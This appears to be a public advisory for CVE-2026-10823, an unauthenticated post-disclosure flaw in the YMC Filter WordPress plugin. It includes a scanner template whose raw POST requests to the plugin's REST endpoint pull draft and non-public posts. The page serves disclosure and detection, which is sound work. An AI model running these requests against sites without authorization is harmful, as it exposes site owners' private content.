CVE-2026-10823: YMC Filter WordPress - Unauthenticated Post Disclosure

2026-07-09 YMC Filter WordPress PoC Public

Description

YMC Filter WordPress plugin < 3.11.3 contains a broken access control vulnerability caused by improper authorization and lack of validation in a REST API endpoint, letting unauthenticated attackers retrieve private and non-public post content, exploit requires no authentication.

PoC

id: CVE-2026-10823

info:
  name: YMC Filter WordPress - Unauthenticated Post Disclosure
  author: Hardik-369
  severity: high
  description: |
    YMC Filter WordPress plugin < 3.11.3 contains a broken access control vulnerability caused by improper authorization and lack of validation in a REST API endpoint, letting unauthenticated attackers retrieve private and non-public post content, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access private, draft, and non-public post content, leading to sensitive information disclosure.
  remediation: |
    Update to version 3.11.3 or later.
  reference:
    - https://wpscan.com/vulnerability/b55ebf9e-a05d-4ae4-b653-da7db63e76d2/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10823
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-10823
    epss-score: 0.01524
    epss-percentile: 0.73356
    cwe-id: CWE-200
  metadata:
    max-request: 2
    verified: true
    vendor: ymc
    product: ymc-filter
    publicwww-query: "/plugins/ymc-smart-filter/"
  tags: cve,cve2026,wordpress,wp-plugin,ymc-filter,disclosure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/ymc/v1/posts/filter HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"filter_id":1,"post_status":"publish"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"success\":true")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/ymc/v1/posts/filter HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"filter_id":1,"post_status":"draft"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"success\":true", "post-card")'
        condition: and
# digest: 4b0a00483046022100f422cb1383476321318c0e4d0217e505ab53057a3577624eab05dd6710d4e5ca0221008c25b760513502af601101deeaa5c809b449e83d5c61bf36881a6d62b31d6c76:922c64590222798bb761d5b6d8e72950

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